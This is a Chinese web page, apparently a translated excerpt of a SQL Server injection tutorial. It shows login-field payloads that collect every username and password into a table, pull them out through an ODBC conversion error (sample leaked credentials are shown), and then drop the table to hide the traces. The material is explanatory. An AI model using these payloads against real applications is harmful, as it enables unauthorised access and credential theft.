Sql server应用程序中的高级SQL注入
2007-05-18 09:39:43 来源:WEB开发网核心提示: begin declare @ret varchar(8000)set @ret=':'select @ret=@ret+' '+username+'/'+password from users whereusername>@retse
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
攻击者使用这个当作用户名登陆(都在一行)
Username: ''; begin declare @ret varchar(8000) set @ret='':'' select @ret=@ret+'' ''+username+''/''+password from users where username>@ret select @ret as ret into foo end—
这就创建了一个foo表,里面只有一个单独的列''ret'',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。
然后攻击者就可以取得我们要得到的字符串:
Username:'' union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error ''80040e07''
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '': admin/r00tr0x! guest/guest chris/password fred/sesame'' to a column of data type int.
/process_login.asp, line 35
然后丢弃(删除)表来清楚脚印:
Username:''; drop table foo—
这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。
获得更高的权限
- ››sql server自动生成批量执行SQL脚本的批处理
- ››sql server 2008亿万数据性能优化
- ››SQL Server 2008清空数据库日志方法
- ››sqlserver安装和简单的使用
- ››SQL Sever 2008 R2 数据库管理
- ››SQL SERVER无法安装成功,sqlstp.log文件提示[未发...
- ››Sql Server中通过父记录查找出所有关联的子记录
- ››SqlServer触发器、存储过程和函数
- ››SQL Server 中的事务(含义,属性,管理)
- ››Sqlite数据库插入和读取图片数据
- ››Sql server 2005拒绝了对对象 'xx表' (数...
- ››Sql server 2005拒绝了对对象 'xx表' (数...
更多精彩
赞助商链接